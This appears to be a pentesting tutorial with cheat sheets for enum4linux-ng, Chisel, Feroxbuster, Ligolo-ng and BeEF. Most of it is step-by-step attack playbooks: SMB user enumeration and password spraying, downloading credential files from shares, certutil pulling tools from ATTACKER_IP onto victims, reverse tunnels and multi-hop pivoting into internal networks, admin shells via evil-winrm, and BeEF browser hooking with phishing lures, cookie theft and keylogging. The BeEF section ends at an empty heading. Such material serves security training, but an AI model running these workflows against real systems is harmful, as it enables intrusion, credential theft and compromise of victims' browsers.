# SCENARIO 1: Initial Network Recon (No Creds) # Step 1: Find SMB hosts (Nmap) nmap -p 445 192.168.1.0/24 -oG smb_hosts.txt # Found: 10 hosts with port 445 open # Step 2: Try NULL session enumeration on all hosts for ip in $(grep "open" smb_hosts.txt | awk '{print $2}'); do echo "Enumerating $ip" enum4linux-ng $ip -oJ ${ip}_enum.json done # Step 3: Parse results (extract usernames) cat *_enum.json | jq '.users[].username' | sort -u > usernames.txt # Got: List of ALL domain users! # Step 4: Password spray (CrackMapExec) crackmapexec smb 192.168.1.0/24 -u usernames.txt -p 'Welcome123!' --continue-on-success # Found: Valid credentials! # SCENARIO 2: Authenticated Enumeration # Got creds: john:Welcome123! # Full enumeration: enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -A -oJ full_enum.json # Check password policy: enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -P # Output: Password Info for Domain: CORP [+] Minimum password length: 8 [+] Password history length: 24 [+] Maximum password age: 42 days [+] Password Complexity Flags: DOMAIN_PASSWORD_COMPLEX [+] Lockout threshold: 5 failed attempts [+] Lockout duration: 30 minutes # ANALYSIS: # - Min 8 chars: Use wordlist with 8+ char passwords # - Lockout after 5 attempts: Be careful with brute-force! # - Password spraying is SAFER (1 password, all users) # SCENARIO 3: Share Enumeration & Exploitation # Enumerate shares: enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -S # Found: Backups share (READ access) # Connect to share: smbclient //192.168.1.50/Backups -U john%Welcome123! smb: \> ls # Found: passwords.txt, config.xml # Download: smb: \> get passwords.txt # Got: Credentials file!

🎯 Enum4linux-ng Cheat Sheet

SMB/LDAP enumeration essentials:

Basic Usage:
• enum4linux-ng IP - NULL session enumeration
• enum4linux-ng IP -u USER -p PASS - Authenticated
• enum4linux-ng IP -u USER -H HASH - Pass-the-hash

Enumeration Targets:
• -U - Users
• -G - Groups
• -S - Shares
• -P - Password policy
• -O - OS info
• -A - All (everything!)

Output:
• -oJ results.json - JSON output
• -oY results.yaml - YAML output
• -oA results - All formats

Attack Workflow:
1. Nmap: Find SMB hosts (port 445)
2. Enum4linux-ng: Try NULL session (no creds)
3. Extract: Usernames from enumeration
4. Password spray: Try common passwords
5. Authenticated enum: Get full user list, shares, policy
6. Exploit: Connect to shares, download sensitive files

Pro Tips:
• Always try NULL session first (free info!)
• Check password policy BEFORE brute-forcing (avoid lockouts!)
• Use -R 500-1000 to enumerate users by RID
• Combine with: CrackMapExec for password spraying
• Parse JSON output with jq for automation
• Check shares for: passwords.txt, config files, scripts

Enum4linux-ng = Your Windows recon Swiss Army knife! 🔍🛡️

Chisel (THE TCP/UDP Tunnel over HTTP)

What is Chisel? Chisel is a fast TCP/UDP tunnel over HTTP written in Go. It's used for: bypassing firewalls, pivoting through compromised machines, creating SOCKS proxies, and port forwarding. Think of it as "SSH tunneling but over HTTP" - works ANYWHERE!

Why Chisel? It's a single binary (no dependencies!), works on Windows/Linux/Mac, tunnels over HTTP (bypasses firewalls), supports SOCKS4/SOCKS5 proxies, has reverse/forward tunnels, and uses SSH for encryption. Essential for pivoting in enterprise networks!

Installation & Setup
# Download from GitHub: # https://github.com/jpillora/chisel/releases # Linux/Kali (attacker machine): wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz gunzip chisel_1.9.1_linux_amd64.gz chmod +x chisel_1.9.1_linux_amd64 mv chisel_1.9.1_linux_amd64 chisel # Windows (victim machine): # Download: chisel_1.9.1_windows_amd64.exe # Rename to: chisel.exe # Check version: ./chisel --version # chisel v1.9.1
Reverse Tunnel (Most Common!)

Scenario: You compromised a Windows machine behind a firewall. You want to pivot through it to access internal network (10.10.10.0/24). Reverse tunnel = Victim connects to YOU!

# ATTACKER MACHINE (Kali): Start Chisel server ./chisel server --port 8000 --reverse # --port: Listening port on attacker # --reverse: Accept reverse connections # Output: 2024/01/01 10:00:00 server: Reverse tunnelling enabled 2024/01/01 10:00:00 server: Listening on http://0.0.0.0:8000 # VICTIM MACHINE (Windows): Connect to attacker chisel.exe client ATTACKER_IP:8000 R:1080:socks # client: Chisel client mode # ATTACKER_IP:8000: Your Kali IP and port # R:1080:socks: Reverse tunnel, SOCKS proxy on attacker port 1080 # Explanation: # R: = Reverse tunnel (victim connects to attacker) # 1080 = Port on ATTACKER machine # socks = Create SOCKS5 proxy # ATTACKER MACHINE: Output shows: 2024/01/01 10:00:01 server: session#1: Client version (1.9.1) 2024/01/01 10:00:01 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening # NOW: Use SOCKS proxy to access internal network! # Configure proxychains (attacker machine): sudo nano /etc/proxychains4.conf # Add at bottom: socks5 127.0.0.1 1080 # Access internal network through tunnel: proxychains nmap -sT -Pn 10.10.10.50 # Scans: Internal IP 10.10.10.50 THROUGH victim machine! proxychains evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!' # Connects: To internal machine through tunnel!
Forward Tunnel

Scenario: You have SSH access to a jump box. You want to forward a port FROM attacker TO victim.

# VICTIM MACHINE: Start Chisel server ./chisel server --port 8000 # ATTACKER MACHINE: Connect and forward port ./chisel client VICTIM_IP:8000 8080:localhost:80 # 8080:localhost:80 = Forward attacker port 8080 to victim port 80 # NOW: Access victim's port 80 via localhost:8080 curl http://localhost:8080 # Connects to: Victim's web server on port 80!
Reverse Port Forwarding
# ATTACKER: Start server ./chisel server --port 8000 --reverse # VICTIM: Connect with specific port forward chisel.exe client ATTACKER_IP:8000 R:8080:10.10.10.50:80 # R:8080:10.10.10.50:80 = Reverse forward # Attacker port 8080 → Internal IP 10.10.10.50 port 80 # ATTACKER: Access internal web server curl http://localhost:8080 # Connects to: 10.10.10.50:80 (internal machine) via victim!
Multiple Tunnels
# ATTACKER: Start server ./chisel server --port 8000 --reverse # VICTIM: Create multiple tunnels in ONE connection chisel.exe client ATTACKER_IP:8000 R:1080:socks R:8080:10.10.10.50:80 R:3389:10.10.10.51:3389 # Creates: # 1. SOCKS proxy on attacker port 1080 # 2. Forward attacker port 8080 → internal 10.10.10.50:80 # 3. Forward attacker port 3389 → internal 10.10.10.51:3389 (RDP!) # ATTACKER: Use tunnels # SOCKS proxy: proxychains nmap -sT 10.10.10.0/24 # Web server: curl http://localhost:8080 # RDP: xfreerdp /u:administrator /p:password /v:localhost:3389 # Connects to: 10.10.10.51 RDP via tunnel!
Authentication (Secure Tunnels)
# ATTACKER: Start server with authentication ./chisel server --port 8000 --reverse --auth user:password # --auth: Require username:password # VICTIM: Connect with credentials chisel.exe client --auth user:password ATTACKER_IP:8000 R:1080:socks # Must provide correct credentials!
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Pivot to Internal Network # Step 1: Compromise victim (192.168.1.50) # Got: Shell via RCE exploit # Step 2: Upload Chisel to victim # HTTP server on attacker: python3 -m http.server 80 # On victim: certutil -urlcache -f http://ATTACKER_IP/chisel.exe C:\Windows\Temp\chisel.exe # Step 3: Start Chisel server on attacker ./chisel server --port 8000 --reverse # Step 4: Connect from victim C:\Windows\Temp\chisel.exe client ATTACKER_IP:8000 R:1080:socks # Step 5: Scan internal network through SOCKS proxy proxychains nmap -sT -Pn 10.10.10.0/24 # Found: Internal machines (10.10.10.50, 10.10.10.51, 10.10.10.52) # Step 6: Enumerate SMB via proxy proxychains crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' # Found: Admin on 10.10.10.51! # Step 7: Get shell on internal machine via proxy proxychains evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!' # Success: Shell on internal machine! # SCENARIO 2: Multi-Hop Pivoting # Network: Attacker → Victim1 (192.168.1.50) → Victim2 (10.10.10.50) → Internal (172.16.0.0/24) # Hop 1: Attacker → Victim1 # Attacker: ./chisel server --port 8000 --reverse # Victim1: chisel.exe client ATTACKER_IP:8000 R:1080:socks # Hop 2: Victim1 → Victim2 # Victim1: chisel.exe server --port 9000 --reverse # Victim2: chisel.exe client 10.10.10.50:9000 R:2080:socks # Configure proxychains for multi-hop: # /etc/proxychains4.conf: socks5 127.0.0.1 1080 # Attacker → Victim1 socks5 127.0.0.1 2080 # Victim1 → Victim2 # Scan internal network (172.16.0.0/24): proxychains nmap -sT 172.16.0.0/24

🎯 Chisel Cheat Sheet

Tunneling & pivoting essentials:

Reverse Tunnel (Most Common):
• Attacker: chisel server --port 8000 --reverse
• Victim: chisel client ATTACKER_IP:8000 R:1080:socks
• Use: proxychains [command] to route traffic through victim

Reverse Port Forward:
• Attacker: chisel server --port 8000 --reverse
• Victim: chisel client ATTACKER_IP:8000 R:8080:INTERNAL_IP:80
• Access: curl http://localhost:8080 (connects to internal IP)

Forward Tunnel:
• Victim: chisel server --port 8000
• Attacker: chisel client VICTIM_IP:8000 8080:localhost:80
• Access: curl http://localhost:8080 (connects to victim port 80)

Multiple Tunnels:
• chisel client IP:PORT R:1080:socks R:8080:IP:80 R:3389:IP:3389
• Creates: SOCKS proxy + multiple port forwards in ONE connection

Proxychains Setup:
• Edit: /etc/proxychains4.conf
• Add: socks5 127.0.0.1 1080
• Use: proxychains [command]

Pro Tips:
• Reverse tunnels work through firewalls (victim connects OUT)
• Use SOCKS proxy for full network access
• Port forwarding for specific services (RDP, web, SMB)
• Chisel works on Windows/Linux/Mac (single binary!)
• Use --auth to secure tunnels
• Chain multiple Chisel instances for multi-hop pivoting

Common Use Cases:
• Access internal network from compromised DMZ host
• Bypass firewall restrictions (tunnels over HTTP!)
• Pivot through multiple networks (multi-hop)
• Forward internal services to attacker (RDP, SMB, HTTP)

Chisel = Your pivoting Swiss Army knife! 🔧🌐

Feroxbuster (THE Recursive Web Fuzzer in Rust)

What is Feroxbuster? Feroxbuster is a blazing-fast recursive web fuzzer written in Rust. It automatically discovers directories, then fuzzes INSIDE them (recursive!), detects wildcards, handles redirects smartly, and is FAST! Think "Gobuster + recursive scanning + smart filtering = Feroxbuster"!

Why Feroxbuster? It's written in Rust (FASTEST language!), auto-recursion (finds /admin → auto-fuzzes /admin/FUZZ), wildcard detection (filters false positives), smart redirect handling, colored output (easy to read), and has 400+ stars on GitHub. Modern web fuzzing at its best!

Installation & Basic Usage
# Install (pre-installed in newer Kali versions): sudo apt install feroxbuster # Or install via cargo (Rust): cargo install feroxbuster # Download binary: # https://github.com/epi052/feroxbuster/releases # Basic scan: feroxbuster -u http://target.com # Scans: Directories and files # Example output: 200 GET 15l 50w 500c http://target.com/admin 301 GET 7l 20w 178c http://target.com/uploads => http://target.com/uploads/ 403 GET 11l 32w 277c http://target.com/config 200 GET 200l 1500w 12345c http://target.com/admin/login # BEGINNER EXPLANATION: # 200 = Found (OK) # 301 = Redirect (found directory!) # 403 = Forbidden (exists but no access) # l = Lines in response # w = Words in response # c = Characters (bytes) in response
Wordlists
# Use specific wordlist: feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # -w: Wordlist path # Multiple wordlists: feroxbuster -u http://target.com -w wordlist1.txt,wordlist2.txt # Tries: All wordlists in order # Best wordlists for Feroxbuster: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries /usr/share/seclists/Discovery/Web-Content/common.txt # 4,614 entries
Recursion (THE Killer Feature!)
# Enable recursion (automatic!): feroxbuster -u http://target.com # DEFAULT: Recursion is ON! # Recursion depth: feroxbuster -u http://target.com --depth 3 # --depth: Max 3 levels deep # Example: /admin → /admin/panel → /admin/panel/users (3 levels) # Disable recursion: feroxbuster -u http://target.com --no-recursion # Only: Root level (/FUZZ), no subdirectories # WHY RECURSION IS POWERFUL: # Without recursion (Gobuster): # Finds: /admin → STOP # # With recursion (Feroxbuster): # Finds: /admin → Auto-fuzzes /admin/FUZZ → Finds /admin/panel → Auto-fuzzes /admin/panel/FUZZ # Discovers: /admin/panel/users/edit.php (missed by non-recursive tools!)
File Extensions
# Add file extensions: feroxbuster -u http://target.com -x php,html,txt,js,json # -x: Extensions to append # Example: # Wordlist: admin, config # With -x php,html: # Tries: admin, admin.php, admin.html, config, config.php, config.html
Filtering & Matching
# Filter by status code: feroxbuster -u http://target.com -C 404,403 # -C: Don't show these status codes # Match only specific status codes: feroxbuster -u http://target.com -s 200,301,302 # -s: Show ONLY these codes # Filter by response size: feroxbuster -u http://target.com -S 1234 # -S: Filter responses with size 1234 bytes # Filter by word count: feroxbuster -u http://target.com -W 20 # -W: Filter responses with 20 words # Filter by line count: feroxbuster -u http://target.com -N 10 # -N: Filter responses with 10 lines # Filter by regex: feroxbuster -u http://target.com --filter-regex "error|not found" # Only: Hide responses matching regex
Wildcard Detection (Smart Filtering!)
# Auto wildcard detection: feroxbuster -u http://target.com --auto-tune # --auto-tune: Detect wildcard responses # HOW IT WORKS: # Some servers return 200 for ALL requests (even non-existent paths!) # Example: http://target.com/asdfghjkl123 → 200 OK (fake response) # # Feroxbuster sends random strings → detects wildcard pattern → filters it out! # Manual wildcard filtering: feroxbuster -u http://target.com -S 1234 # If all fake responses = 1234 bytes → filter them!
Performance Tuning
# Threads: feroxbuster -u http://target.com -t 200 # -t: 200 concurrent threads (default: 50) # More threads = FASTER! # Rate limiting: feroxbuster -u http://target.com --rate-limit 100 # --rate-limit: Max 100 requests/second # Timeout: feroxbuster -u http://target.com --timeout 10 # --timeout: 10 seconds per request # Time limit: feroxbuster -u http://target.com --time-limit 5m # --time-limit: Stop after 5 minutes
Authentication & Headers
# Custom headers: feroxbuster -u http://target.com -H "Authorization: Bearer TOKEN" # -H: Custom header # Cookies: feroxbuster -u http://target.com -H "Cookie: session=abc123" # Basic authentication: feroxbuster -u http://target.com -a username:password # -a: Basic auth # User-Agent: feroxbuster -u http://target.com -A "Mozilla/5.0 ..." # -A: User-Agent
Output & Reporting
# Save to file: feroxbuster -u http://target.com -o results.txt # -o: Output file # JSON output: feroxbuster -u http://target.com --json -o results.json # --json: JSON format # Quiet mode (no banner): feroxbuster -u http://target.com -q # -q: Quiet # Silent mode (only URLs): feroxbuster -u http://target.com --silent # --silent: Only show discovered URLs # No colors (for scripts): feroxbuster -u http://target.com --no-colors
Advanced Features
# Extract links from responses: feroxbuster -u http://target.com --extract-links # --extract-links: Find URLs in response HTML → auto-fuzz them! # Scan multiple URLs: feroxbuster --stdin # Reads URLs from stdin (pipe) cat urls.txt | feroxbuster --stdin # Proxy through Burp Suite: feroxbuster -u http://target.com -p http://127.0.0.1:8080 # -p: Proxy URL # Follow redirects: feroxbuster -u http://target.com -r # -r: Follow redirects (302, 301, etc.) # Ignore SSL errors: feroxbuster -u https://target.com -k # -k: Ignore certificate errors # Scan specific directory: feroxbuster -u http://target.com/admin # Recursively fuzzes: /admin/FUZZ, /admin/panel/FUZZ, etc.
Complete Attack Scenarios
# SCENARIO 1: Full Recursive Web Fuzzing # Step 1: Quick scan (small wordlist) feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -o quick_scan.txt # Step 2: Found /admin → Deep scan feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,js,json,bak,zip --depth 5 -o full_scan.txt # Step 3: Found interesting files # /admin/config.php.bak (backup file!) # /admin/panel/users.php # /uploads/files/ # Step 4: Check backups curl http://target.com/admin/config.php.bak # Got: Database credentials! # SCENARIO 2: Authenticated Scanning # Got session cookie: session=abc123 feroxbuster -u http://target.com -w wordlist.txt -x php -H "Cookie: session=abc123" --depth 4 # Scans: As authenticated user (finds MORE!) # SCENARIO 3: Wildcard Server (Returns 200 for Everything) # Problem: Server returns 200 for non-existent paths # http://target.com/asdfghjkl → 200 OK (false positive!) # Solution: Auto-tune feroxbuster -u http://target.com -w wordlist.txt --auto-tune # Detects wildcard → filters false positives! # SCENARIO 4: Bug Bounty Hunting # Chain with subfinder + httpx: subfinder -d target.com -silent | httpx -silent | feroxbuster --stdin -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt --depth 3 --json -o bounty_results.json # One-liner: Subdomain enum → live hosts → recursive fuzzing!

🎯 Feroxbuster Cheat Sheet

Recursive web fuzzing mastery:

Basic Usage:
• feroxbuster -u http://target.com - Basic scan (with recursion!)
• feroxbuster -u URL -w wordlist.txt - Custom wordlist
• feroxbuster -u URL -x php,html,txt - File extensions

Recursion:
• --depth 3 - Max 3 levels deep
• --no-recursion - Disable recursion
• DEFAULT: Recursion is ON!

Filtering:
• -C 404,403 - Hide status codes
• -s 200,301 - Show only these codes
• -S 1234 - Filter size 1234 bytes
• -W 20 - Filter 20 words
• -N 10 - Filter 10 lines
• --auto-tune - Auto wildcard detection

Performance:
• -t 200 - 200 threads (default: 50)
• --rate-limit 100 - Max 100 req/sec
• --timeout 10 - 10s timeout

Output:
• -o results.txt - Save to file
• --json -o results.json - JSON output
• -q - Quiet mode
• --silent - Only URLs

Pro Tips:
• Recursion is KING - finds deeply nested paths!
• Use --auto-tune for wildcard servers
• Start with small wordlist → expand if needed
• Use -x php,html,txt,bak,zip to find backups!
• Combine with: httpx | feroxbuster --stdin for bulk scanning
• Proxy through Burp: -p http://127.0.0.1:8080
• Use --extract-links to spider discovered pages

Feroxbuster vs Others:
• vs Gobuster: Feroxbuster has recursion!
• vs Dirbuster: Feroxbuster is 100x faster (Rust!)
• vs FFuf: Feroxbuster has better wildcard detection

Feroxbuster = Recursive fuzzing perfection in Rust! 🦀⚡

Ligolo-ng (THE Next-Generation Tunneling Tool)

What is Ligolo-ng? Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface for network pivoting. Unlike Chisel/SSH tunnels, Ligolo-ng creates a VIRTUAL NETWORK INTERFACE on your attacker machine - you can route ENTIRE networks through compromised hosts! No proxychains needed!

Why Ligolo-ng? It's simple (no proxychains!), fast (uses TUN interface = kernel-level routing), supports multiple agents (pivot through many hosts simultaneously), has automatic routing, works on Windows/Linux/Mac, and is written in Go (single binary!). The FUTURE of pivoting!

Installation & Setup
# Download from GitHub: # https://github.com/nicocha30/ligolo-ng/releases # ATTACKER MACHINE (Kali Linux): wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz tar -xvf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz chmod +x proxy sudo mv proxy /usr/local/bin/ligolo-proxy # VICTIM MACHINE (Windows): # Download: ligolo-ng_agent_0.5.2_windows_amd64.zip # Extract: agent.exe # VICTIM MACHINE (Linux): # Download: ligolo-ng_agent_0.5.2_linux_amd64.tar.gz # Create TUN interface on attacker (ONE TIME SETUP): sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up # Verify TUN interface: ip addr show ligolo # Output: ligolo: mtu 1500 qdisc fq_codel state DOWN group default qlen 500
Basic Pivoting Workflow
# STEP 1: Start Ligolo proxy on ATTACKER sudo ligolo-proxy -selfcert # -selfcert: Generate self-signed certificate (for encryption) # Output: WARN[0000] Using automatically generated self-signed certificates INFO[0000] Listening on 0.0.0.0:11601 # STEP 2: Start Ligolo agent on VICTIM (connect to attacker) # Windows victim: agent.exe -connect ATTACKER_IP:11601 -ignore-cert # -connect: Attacker IP and port # -ignore-cert: Accept self-signed certificate # Linux victim: ./agent -connect ATTACKER_IP:11601 -ignore-cert # STEP 3: Agent connects - output on ATTACKER: INFO[2024/01/01 10:00:00] Agent joined. [session=1] [name=VICTIM-PC] [ip=192.168.1.50] # STEP 4: Select agent in Ligolo proxy ligolo-ng » session # Shows: Available agents ? Specify a session: 1 - VICTIM-PC - 192.168.1.50 # STEP 5: Show victim's network interfaces [Agent : VICTIM-PC] » ifconfig # Output: ┌─────────────────────────────────────────────────┐ │ Interface 0 │ ├──────────────┬──────────────────────────────────┤ │ Name │ Ethernet0 │ │ Hardware MAC │ 00:0c:29:12:34:56 │ │ MTU │ 1500 │ │ Flags │ up|broadcast|multicast │ │ IPv4 Address │ 192.168.1.50/24 │ └──────────────┴──────────────────────────────────┘ ┌─────────────────────────────────────────────────┐ │ Interface 1 │ ├──────────────┬──────────────────────────────────┤ │ Name │ Ethernet1 (Internal Network) │ │ Hardware MAC │ 00:0c:29:78:90:ab │ │ MTU │ 1500 │ │ Flags │ up|broadcast|multicast │ │ IPv4 Address │ 10.10.10.50/24 │ └──────────────┴──────────────────────────────────┘ # BEGINNER EXPLANATION: # Victim has TWO network interfaces: # - 192.168.1.50/24 (external - we compromised this) # - 10.10.10.50/24 (INTERNAL - we want to access this!) # STEP 6: Add route to internal network on ATTACKER sudo ip route add 10.10.10.0/24 dev ligolo # Routes: All 10.10.10.0/24 traffic through ligolo TUN interface → victim machine # STEP 7: Start tunnel [Agent : VICTIM-PC] » start INFO[0100] Starting tunnel to VICTIM-PC # STEP 8: Access internal network from ATTACKER (NO PROXYCHAINS!) ping 10.10.10.51 # Works! Pinging internal machine through victim! nmap -sT -Pn 10.10.10.0/24 # Scans: Internal network (NO proxychains needed!) evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!' # Connects: To internal machine (NO proxychains needed!)
Multiple Agents (Multi-Hop Pivoting)
# SCENARIO: Attacker → Victim1 (192.168.1.50) → Victim2 (10.10.10.50) → Internal (172.16.0.0/24) # STEP 1: Connect Victim1 to attacker # Victim1: agent.exe -connect ATTACKER_IP:11601 -ignore-cert # STEP 2: Connect Victim2 to attacker (through Victim1) # Upload agent to Victim2, run: agent.exe -connect ATTACKER_IP:11601 -ignore-cert # (Must route traffic through Victim1 first) # STEP 3: Select Victim1 session ligolo-ng » session 1 [Agent : VICTIM1] » ifconfig # Shows: 192.168.1.50/24 and 10.10.10.50/24 # STEP 4: Add route for 10.10.10.0/24 sudo ip route add 10.10.10.0/24 dev ligolo # STEP 5: Start Victim1 tunnel [Agent : VICTIM1] » start # STEP 6: Select Victim2 session ligolo-ng » session 2 [Agent : VICTIM2] » ifconfig # Shows: 10.10.10.50/24 and 172.16.0.0/24 # STEP 7: Add route for 172.16.0.0/24 sudo ip route add 172.16.0.0/24 dev ligolo # STEP 8: Start Victim2 tunnel [Agent : VICTIM2] » start # STEP 9: Access 172.16.0.0/24 from attacker nmap -sT 172.16.0.0/24 # Routes: Attacker → Victim1 → Victim2 → 172.16.0.0/24!
Port Forwarding (Listener)
# Forward specific port from victim to attacker # Select agent: ligolo-ng » session 1 # Create listener (forward victim port to attacker): [Agent : VICTIM-PC] » listener_add --addr 0.0.0.0:8080 --to 10.10.10.50:80 # Forwards: Attacker's port 8080 → Internal 10.10.10.50:80 # Access on attacker: curl http://localhost:8080 # Connects to: 10.10.10.50:80 through victim! # List listeners: [Agent : VICTIM-PC] » listener_list # Stop listener: [Agent : VICTIM-PC] » listener_stop --id 0
Complete Attack Scenarios
# SCENARIO 1: Basic Network Pivoting # Network: Attacker (Kali) → Victim (192.168.1.50 + 10.10.10.50) → Internal Network (10.10.10.0/24) # 1. Setup TUN interface (attacker): sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up # 2. Start proxy (attacker): sudo ligolo-proxy -selfcert # 3. Upload agent to victim: # HTTP server: python3 -m http.server 80 # On victim: certutil -urlcache -f http://ATTACKER_IP/agent.exe C:\Windows\Temp\agent.exe # 4. Run agent (victim): C:\Windows\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert # 5. Select session (attacker): ligolo-ng » session ? Specify a session: 1 - VICTIM-PC # 6. Check interfaces (attacker): [Agent : VICTIM-PC] » ifconfig # Found: 10.10.10.50/24 (internal network!) # 7. Add route (attacker): sudo ip route add 10.10.10.0/24 dev ligolo # 8. Start tunnel (attacker): [Agent : VICTIM-PC] » start # 9. Scan internal network (attacker): nmap -sT -Pn 10.10.10.0/24 # Found: 10.10.10.51 (DC), 10.10.10.52 (web server) # 10. Exploit internal machines: crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!' # NO PROXYCHAINS NEEDED!!! # SCENARIO 2: Multi-Hop Pivoting (3 Networks) # Network: Attacker → DMZ (192.168.1.50) → Corp Network (10.10.10.50) → Secure Network (172.16.0.0/24) # 1. Compromise DMZ machine → run agent # 2. Compromise Corp machine → run agent # 3. Setup routes: sudo ip route add 10.10.10.0/24 dev ligolo sudo ip route add 172.16.0.0/24 dev ligolo # 4. Start both tunnels # 5. Access secure network: nmap -sT 172.16.0.0/24 # Direct access to 3rd network!

🎯 Ligolo-ng Cheat Sheet

Next-gen tunneling essentials:

ONE-TIME SETUP (Attacker):
• sudo ip tuntap add user $(whoami) mode tun ligolo
• sudo ip link set ligolo up

Basic Workflow:
1. Attacker: sudo ligolo-proxy -selfcert
2. Victim: agent.exe -connect ATTACKER_IP:11601 -ignore-cert
3. Attacker: ligolo-ng » session (select agent)
4. Attacker: [Agent] » ifconfig (find internal networks)
5. Attacker: sudo ip route add INTERNAL_NETWORK dev ligolo
6. Attacker: [Agent] » start
7. Attacker: Access internal network directly (NO proxychains!)

Key Commands:
• session - List/select agents
• ifconfig - Show agent's network interfaces
• start - Start tunnel
• stop - Stop tunnel
• listener_add --addr 0.0.0.0:PORT --to IP:PORT - Port forward
• listener_list - List active listeners

Why Ligolo-ng > Chisel:
• NO proxychains (direct network access!)
• Faster (TUN interface = kernel-level routing)
• Simpler (no SOCKS proxy configuration)
• Supports multiple agents simultaneously
• Automatic routing (add route once, works for ALL tools)

Pro Tips:
• Always run ifconfig to find victim's networks
• Add routes for EACH internal network
• Use listener_add for specific port forwards
• Can run multiple agents simultaneously (multi-hop!)
• NO need to configure individual tools (works system-wide!)

Common Use Cases:
• Pivot to internal corporate network
• Multi-hop pivoting (DMZ → Internal → Secure)
• Access isolated network segments
• Port forwarding for specific services

Ligolo-ng = Pivoting perfected! No proxychains, pure magic! ✨🌐

BeEF (Browser Exploitation Framework - THE XSS Post-Exploitation Tool)

What is BeEF? BeEF (Browser Exploitation Framework) is a penetration testing tool focused on exploiting web browsers. Once you find XSS, BeEF lets you: steal cookies, keylog, screenshot, redirect, launch phishing, and execute commands on the victim's browser! Think "Metasploit for web browsers"!

Why BeEF? It has 100+ browser exploitation modules, provides persistent hooks (browser stays compromised), works on any browser (Chrome, Firefox, Safari, Edge), supports mass exploitation (one XSS = many victims), and integrates with Metasploit. Essential for demonstrating XSS impact!

Installation & Setup
# Install (pre-installed in Kali): sudo apt install beef-xss # Start BeEF: sudo beef-xss # Or: cd /usr/share/beef-xss/ sudo ./beef # Output shows: [*] BeEF is loading. Wait a few seconds... [*] API key: a1b2c3d4e5f6g7h8i9j0 [*] Credentials: beef:beef [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook URL: http://YOUR_IP:3000/hook.js # BEGINNER EXPLANATION: # Web UI: BeEF control panel (manage hooked browsers) # Hook URL: JavaScript file to inject into victim's browser # Credentials: Default login (beef:beef)
Hooking Browsers (The Attack!)
# STEP 1: Find XSS vulnerability # Example: http://vulnerable-site.com/search.php?q= # XSS works! Browser executes our JavaScript # STEP 2: Inject BeEF hook instead of alert # Payload: # Full URL: http://vulnerable-site.com/search.php?q= # STEP 3: Send link to victim (social engineering) # Email: "Check out this funny video: http://vulnerable-site.com/search.php?q=" # STEP 4: Victim clicks link → Browser gets hooked! # STEP 5: Open BeEF Web UI # Go to: http://127.0.0.1:3000/ui/panel # Login: beef:beef # STEP 6: See hooked browser in "Hooked Browsers" tab # Shows: Browser version, OS, IP address # Green = Online (hooked!) # Red = Offline (victim closed browser)
BeEF Modules (100+ Exploits!)
# Select hooked browser in Web UI → See available modules # COMMON MODULES: # 1. Get Cookie: Module: Browser → Hooked Domain → Get Cookie # Steals: Session cookies (often leads to account takeover!) # 2. Get Stored Credentials: Module: Browser → Hooked Domain → Get Stored Credentials # Steals: Saved passwords from browser # 3. Screenshot: Module: Browser → Get Screenshot # Takes: Screenshot of victim's current browser tab # 4. Keylogger: Module: Browser → Hooked Domain → Keylogger # Records: Everything victim types (passwords, credit cards, etc.) # 5. Redirect Browser: Module: Browser → Hooked Domain → Redirect Browser # Redirects: Victim to attacker-controlled phishing page # 6. Fake Notification Bar: Module: Social Engineering → Fake Notification Bar # Shows: "Firefox Update Required" → victim downloads malware! # 7. Pretty Theft: Module: Social Engineering → Pretty Theft # Shows: Fake login popup (Facebook, Gmail, etc.) → steals credentials # 8. Play Sound: Module: Misc → Play Sound # Plays: Sound/beep (for demonstration) # 9. Webcam: Module: Phonegap → Webcam # Accesses: Victim's webcam (requires permission) # 10. Geolocation: Module: Browser → Get Geolocation # Gets: Victim's GPS coordinates # 11. Clippy: Module: Social Engineering → Clippy # Shows: Microsoft Office Assistant asking for credentials # 12. MITM Attack: Module: Network → Man-In-The-Middle # Intercepts: Network traffic from hooked browser
BeEF + Metasploit Integration
# Enable Metasploit integration in BeEF config: sudo nano /usr/share/beef-xss/config.yaml # Find metasploit section: metasploit: enable: true host: "127.0.0.1" port: 55552 # Restart BeEF: sudo beef-xss # Now in BeEF UI: # Select hooked browser → Metasploit module # Example: Launch browser_autopwn exploit # Result: Meterpreter shell on victim's machine!
Complete Attack Scenarios
